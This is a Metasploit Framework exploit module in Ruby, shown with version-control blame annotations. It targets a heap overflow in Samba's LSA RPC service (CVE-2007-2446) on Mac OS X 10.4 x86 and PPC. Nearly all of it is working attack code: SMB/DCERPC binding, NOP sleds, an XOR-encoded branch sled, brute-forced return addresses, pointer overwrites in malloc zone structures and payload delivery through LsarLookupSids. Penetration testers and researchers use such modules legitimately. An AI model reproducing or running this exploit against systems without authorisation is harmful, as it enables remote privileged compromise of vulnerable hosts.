2007-07-05 01:41:39 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2007-07-11 03:19:28 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-07-05 01:41:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-07-05 01:41:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2007-07-05 01:41:39 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
|
|
|
include Msf::Exploit::Brute
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
def initialize(info = {})
|
2007-07-11 03:19:28 +00:00
|
|
|
super(update_info(info,
|
2007-07-05 01:41:39 +00:00
|
|
|
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module triggers a heap overflow in the LSA RPC service
|
|
|
|
of the Samba daemon. This module uses the szone_free() to overwrite
|
2007-07-18 17:17:22 +00:00
|
|
|
the size() or free() pointer in initial_malloc_zones structure.
|
2007-07-05 01:41:39 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2009-09-27 21:30:45 +00:00
|
|
|
'ramon',
|
2011-11-06 22:02:26 +00:00
|
|
|
'Adriano Lima <adriano[at]risesecurity.org>',
|
2007-07-05 01:41:39 +00:00
|
|
|
'hdm'
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2007-2446'],
|
2009-07-16 16:02:24 +00:00
|
|
|
['OSVDB', '34699'],
|
2007-07-05 01:41:39 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
},
|
|
|
|
'Platform' => 'osx',
|
2007-07-06 01:22:54 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'PrependSetresuid' => true,
|
|
|
|
},
|
2007-07-11 03:19:28 +00:00
|
|
|
'Targets' =>
|
2007-07-05 01:41:39 +00:00
|
|
|
[
|
|
|
|
['Mac OS X 10.4.x x86 Samba 3.0.10',
|
|
|
|
{
|
2007-07-11 03:19:28 +00:00
|
|
|
'Platform' => 'osx',
|
2007-07-05 01:41:39 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
2007-07-18 17:17:22 +00:00
|
|
|
'Nops' => 4 * 1024,
|
2007-07-11 03:19:28 +00:00
|
|
|
'Bruteforce' =>
|
2007-07-05 01:41:39 +00:00
|
|
|
{
|
2007-07-24 23:44:44 +00:00
|
|
|
'Start' => { 'Ret' => 0x01818000 },
|
|
|
|
'Stop' => { 'Ret' => 0x01830000 },
|
|
|
|
'Step' => 3351,
|
2007-07-05 01:41:39 +00:00
|
|
|
},
|
|
|
|
}
|
|
|
|
],
|
|
|
|
['Mac OS X 10.4.x PPC Samba 3.0.10',
|
|
|
|
{
|
2007-07-11 03:19:28 +00:00
|
|
|
'Platform' => 'osx',
|
2007-07-05 01:41:39 +00:00
|
|
|
'Arch' => [ ARCH_PPC ],
|
|
|
|
'Nops' => 1600,
|
2007-07-11 03:19:28 +00:00
|
|
|
'Bruteforce' =>
|
2007-07-05 01:41:39 +00:00
|
|
|
{
|
2007-07-05 15:12:02 +00:00
|
|
|
'Start' => { 'Ret' => 0x01813000 },
|
2007-07-05 01:41:39 +00:00
|
|
|
'Stop' => { 'Ret' => 0x01830000 },
|
|
|
|
'Step' => 796,
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
|
|
|
['DEBUG',
|
|
|
|
{
|
2007-07-11 03:19:28 +00:00
|
|
|
'Platform' => 'osx',
|
2007-07-05 01:41:39 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'Nops' => 4 * 1024,
|
2007-07-11 03:19:28 +00:00
|
|
|
'Bruteforce' =>
|
2007-07-05 01:41:39 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xaabbccdd },
|
|
|
|
'Stop' => { 'Ret' => 0xaabbccdd },
|
|
|
|
'Step' => 0,
|
|
|
|
}
|
|
|
|
}
|
2007-07-11 03:19:28 +00:00
|
|
|
],
|
2007-07-05 01:41:39 +00:00
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'May 14 2007'
|
2007-07-05 01:41:39 +00:00
|
|
|
))
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
|
|
|
|
], self.class)
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# Handle a strange byteswapping issue on PPC
|
|
|
|
def ppc_byteswap(addr)
|
|
|
|
data = [addr].pack('N')
|
|
|
|
(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
|
2007-07-11 03:19:28 +00:00
|
|
|
end
|
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
def brute_exploit(target_addrs)
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
if(not @nops)
|
|
|
|
if (target['Nops'] > 0)
|
|
|
|
print_status("Creating nop sled....")
|
|
|
|
@nops = make_nops(target['Nops'])
|
|
|
|
else
|
|
|
|
@nops = ''
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
pipe = datastore['SMBPIPE'].downcase
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
print_status("Connecting to the SMB service...")
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
datastore['DCERPC::fake_bind_multi'] = false
|
|
|
|
|
|
|
|
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
|
|
|
num_entries = 256
|
|
|
|
num_entries2 = 257
|
|
|
|
|
2007-07-11 03:19:28 +00:00
|
|
|
#
|
|
|
|
# First talloc_chunk
|
2007-07-05 01:41:39 +00:00
|
|
|
# 16 bits align
|
|
|
|
# 16 bits sid_name_use
|
|
|
|
# 16 bits uni_str_len
|
|
|
|
# 16 bits uni_max_len
|
|
|
|
# 32 bits buffer
|
|
|
|
# 32 bits domain_idx
|
2007-07-11 03:19:28 +00:00
|
|
|
#
|
2007-07-05 01:41:39 +00:00
|
|
|
buf = (('A' * 16) * num_entries)
|
|
|
|
|
2007-07-11 03:19:28 +00:00
|
|
|
# Padding
|
2007-07-05 01:41:39 +00:00
|
|
|
buf << 'A' * 4
|
|
|
|
|
|
|
|
#
|
|
|
|
# Use the szone_free() to overwrite the size() pointer in
|
|
|
|
# initial_malloc_zones structure.
|
|
|
|
#
|
|
|
|
size_pointer = 0x1800008
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
# Initial nops array
|
|
|
|
nops = ''
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
# x86
|
|
|
|
if (target.arch.include?(ARCH_X86))
|
|
|
|
|
2007-07-18 17:17:22 +00:00
|
|
|
#
|
|
|
|
# We don't use the size() pointer anymore because it
|
|
|
|
# results in a unexpected behavior when smbd process
|
2007-07-24 23:44:44 +00:00
|
|
|
# is started by launchd.
|
2007-07-18 17:17:22 +00:00
|
|
|
#
|
|
|
|
free_pointer = 0x1800018
|
|
|
|
nop = "\x16"
|
|
|
|
|
2007-07-11 03:19:28 +00:00
|
|
|
#
|
|
|
|
# First talloc_chunk
|
2007-07-06 01:22:54 +00:00
|
|
|
# 16 bits align
|
|
|
|
# 16 bits sid_name_use
|
|
|
|
# 16 bits uni_str_len
|
|
|
|
# 16 bits uni_max_len
|
|
|
|
# 32 bits buffer
|
|
|
|
# 32 bits domain_idx
|
2007-07-11 03:19:28 +00:00
|
|
|
#
|
2007-07-06 01:22:54 +00:00
|
|
|
|
|
|
|
# First nop block
|
2007-07-18 17:17:22 +00:00
|
|
|
buf = ((nop * 16) * num_entries)
|
2007-07-06 01:22:54 +00:00
|
|
|
|
2007-07-11 03:19:28 +00:00
|
|
|
#
|
2007-07-18 17:17:22 +00:00
|
|
|
# A nop block of 0x16 (pushl %ss) and the address of
|
|
|
|
# 0x1800014 results in a jns instruction which when
|
|
|
|
# executed will jump over the address written eight
|
|
|
|
# bytes past our target address by szone_free() (the
|
|
|
|
# sign flag is zero at the moment our target address is
|
|
|
|
# executed).
|
2007-07-05 01:41:39 +00:00
|
|
|
#
|
2007-07-18 17:17:22 +00:00
|
|
|
# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
|
2007-07-05 01:41:39 +00:00
|
|
|
#
|
2007-07-11 03:19:28 +00:00
|
|
|
# This is the output of the sequence of xor operations
|
2007-07-18 17:17:22 +00:00
|
|
|
# 0: 79 23 jns 0x25
|
|
|
|
# 2: 96 xchgl %eax,%esi
|
|
|
|
# 3: 17 popl %ss
|
|
|
|
# 4: 16 pushl %ss
|
|
|
|
# 5: 16 pushl %ss
|
|
|
|
# 6: 16 pushl %ss
|
|
|
|
# 7: 16 pushl %ss
|
|
|
|
# 8: 14 00 adcb $0x0,%al
|
|
|
|
# a: 80 01 16 addb $0x16,(%ecx)
|
2007-07-05 01:41:39 +00:00
|
|
|
#
|
2007-07-18 17:17:22 +00:00
|
|
|
# This jump is needed because the ecx register does not
|
|
|
|
# point to a valid memory location in free() context
|
|
|
|
# (it is zero).
|
2007-07-05 01:41:39 +00:00
|
|
|
#
|
2007-07-18 17:17:22 +00:00
|
|
|
# The jump will hit our nop block which will be executed
|
|
|
|
# until it reaches the payload.
|
2007-07-05 01:41:39 +00:00
|
|
|
#
|
|
|
|
|
2007-07-06 01:22:54 +00:00
|
|
|
# Padding nops
|
2007-07-18 17:17:22 +00:00
|
|
|
buf << nop * 2
|
2007-07-06 01:22:54 +00:00
|
|
|
|
|
|
|
# Jump over the pointers
|
|
|
|
buf << "\xeb\x08"
|
2007-07-05 01:41:39 +00:00
|
|
|
|
|
|
|
# Pointers
|
|
|
|
buf << [target_addrs['Ret']].pack('V')
|
2007-07-18 17:17:22 +00:00
|
|
|
buf << [free_pointer - 4].pack('V')
|
2007-07-05 01:41:39 +00:00
|
|
|
|
2007-07-06 01:22:54 +00:00
|
|
|
#
|
|
|
|
# We expect to hit this nop block or the one before
|
|
|
|
# the pointers.
|
|
|
|
#
|
2007-07-18 17:17:22 +00:00
|
|
|
buf << nop * (3852 - 8 - payload.encoded.length)
|
2007-07-06 01:22:54 +00:00
|
|
|
|
|
|
|
# Payload
|
|
|
|
buf << payload.encoded
|
|
|
|
|
2007-07-18 17:17:22 +00:00
|
|
|
# Padding nops
|
|
|
|
buf << nop * 1024
|
|
|
|
|
|
|
|
stub = lsa_open_policy(dcerpc)
|
|
|
|
|
|
|
|
stub << NDR.long(0) # num_entries
|
|
|
|
stub << NDR.long(0) # ptr_sid_enum
|
|
|
|
stub << NDR.long(num_entries) # num_entries
|
|
|
|
stub << NDR.long(0x20004) # ptr_trans_names
|
|
|
|
stub << NDR.long(num_entries2) # num_entries2
|
|
|
|
stub << buf
|
2007-07-05 01:41:39 +00:00
|
|
|
|
|
|
|
# PPC
|
|
|
|
else
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
#
|
2007-07-11 03:19:28 +00:00
|
|
|
# The first half of the nop sled is an XOR encoded branch
|
2007-07-05 01:41:39 +00:00
|
|
|
# instruction. The second half is a series of unencoded nop
|
|
|
|
# instructions. The result is:
|
|
|
|
#
|
|
|
|
# > This is the decoded branch instruction
|
|
|
|
# 0x181c380: bl 0x181c6a0
|
|
|
|
#
|
|
|
|
# > The size pointer is written below this
|
|
|
|
# 0x181c384: .long 0x1800004
|
|
|
|
#
|
|
|
|
# > Followed by the encoded branch sled
|
|
|
|
# 0x181c388: ba 0x180365c
|
|
|
|
# [ ... ]
|
2007-07-11 03:19:28 +00:00
|
|
|
#
|
2007-07-05 01:41:39 +00:00
|
|
|
# > The branch lands in the normal nop sled
|
|
|
|
# 0x181c6a0: andi. r17,r16,58162
|
|
|
|
# [ ... ]
|
2007-07-11 03:19:28 +00:00
|
|
|
#
|
2007-07-05 01:41:39 +00:00
|
|
|
# > Finally we reach our payload :-)
|
|
|
|
#
|
|
|
|
|
|
|
|
size_pointer = size_pointer - 4
|
|
|
|
|
2007-07-11 03:19:28 +00:00
|
|
|
sled = target['Nops']
|
2007-07-05 01:41:39 +00:00
|
|
|
jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
|
|
|
|
nops = (jump * (sled / 8)) + @nops[0, sled / 8]
|
|
|
|
|
|
|
|
addr_size = ppc_byteswap(size_pointer)
|
|
|
|
addr_ret = ppc_byteswap(target_addrs['Ret'])
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
# This oddness is required for PPC
|
2007-07-11 03:19:28 +00:00
|
|
|
buf << [addr_size].pack('N')
|
2007-07-05 01:41:39 +00:00
|
|
|
buf << [addr_ret ].pack('N')[2,2]
|
|
|
|
buf << [addr_ret ].pack('N')
|
|
|
|
|
2007-07-11 03:19:28 +00:00
|
|
|
# Padding
|
|
|
|
buf << "A" * (256 - 10)
|
2007-07-05 01:41:39 +00:00
|
|
|
|
2007-07-18 17:17:22 +00:00
|
|
|
stub = lsa_open_policy(dcerpc)
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-18 17:17:22 +00:00
|
|
|
stub << NDR.long(0) # num_entries
|
|
|
|
stub << NDR.long(0) # ptr_sid_enum
|
|
|
|
stub << NDR.long(num_entries) # num_entries
|
|
|
|
stub << NDR.long(0x20004) # ptr_trans_names
|
|
|
|
stub << NDR.long(num_entries2) # num_entries2
|
|
|
|
stub << buf
|
|
|
|
stub << nops
|
|
|
|
stub << payload.encoded
|
|
|
|
end
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
print_status("Calling the vulnerable function...")
|
|
|
|
|
|
|
|
begin
|
|
|
|
# LsarLookupSids
|
|
|
|
dcerpc.call(0x0f, stub)
|
2009-09-20 19:49:03 +00:00
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('Server did not respond, this is expected')
|
2007-07-05 01:41:39 +00:00
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::Fault
|
|
|
|
print_error('Server is most likely patched...')
|
|
|
|
rescue => e
|
|
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('Server disconnected, this is expected')
|
2007-07-05 01:41:39 +00:00
|
|
|
else
|
2008-12-19 07:11:08 +00:00
|
|
|
print_error("Error: #{e.class}: #{e}")
|
2007-07-05 01:41:39 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
2007-07-11 03:19:28 +00:00
|
|
|
disconnect
|
2007-07-05 01:41:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def lsa_open_policy(dcerpc, server="\\")
|
|
|
|
|
|
|
|
stubdata =
|
|
|
|
# Server
|
|
|
|
NDR.uwstring(server) +
|
|
|
|
# Object Attributes
|
|
|
|
NDR.long(24) + # SIZE
|
|
|
|
NDR.long(0) + # LSPTR
|
|
|
|
NDR.long(0) + # NAME
|
|
|
|
NDR.long(0) + # ATTRS
|
|
|
|
NDR.long(0) + # SEC DES
|
|
|
|
# LSA QOS PTR
|
|
|
|
NDR.long(1) + # Referent
|
|
|
|
NDR.long(12) + # Length
|
|
|
|
NDR.long(2) + # Impersonation
|
|
|
|
NDR.long(1) + # Context Tracking
|
|
|
|
NDR.long(0) + # Effective Only
|
|
|
|
# Access Mask
|
|
|
|
NDR.long(0x02000000)
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
res = dcerpc.call(6, stubdata)
|
2007-07-11 03:19:28 +00:00
|
|
|
|
2007-07-05 01:41:39 +00:00
|
|
|
dcerpc.last_response.stub_data[0,20]
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|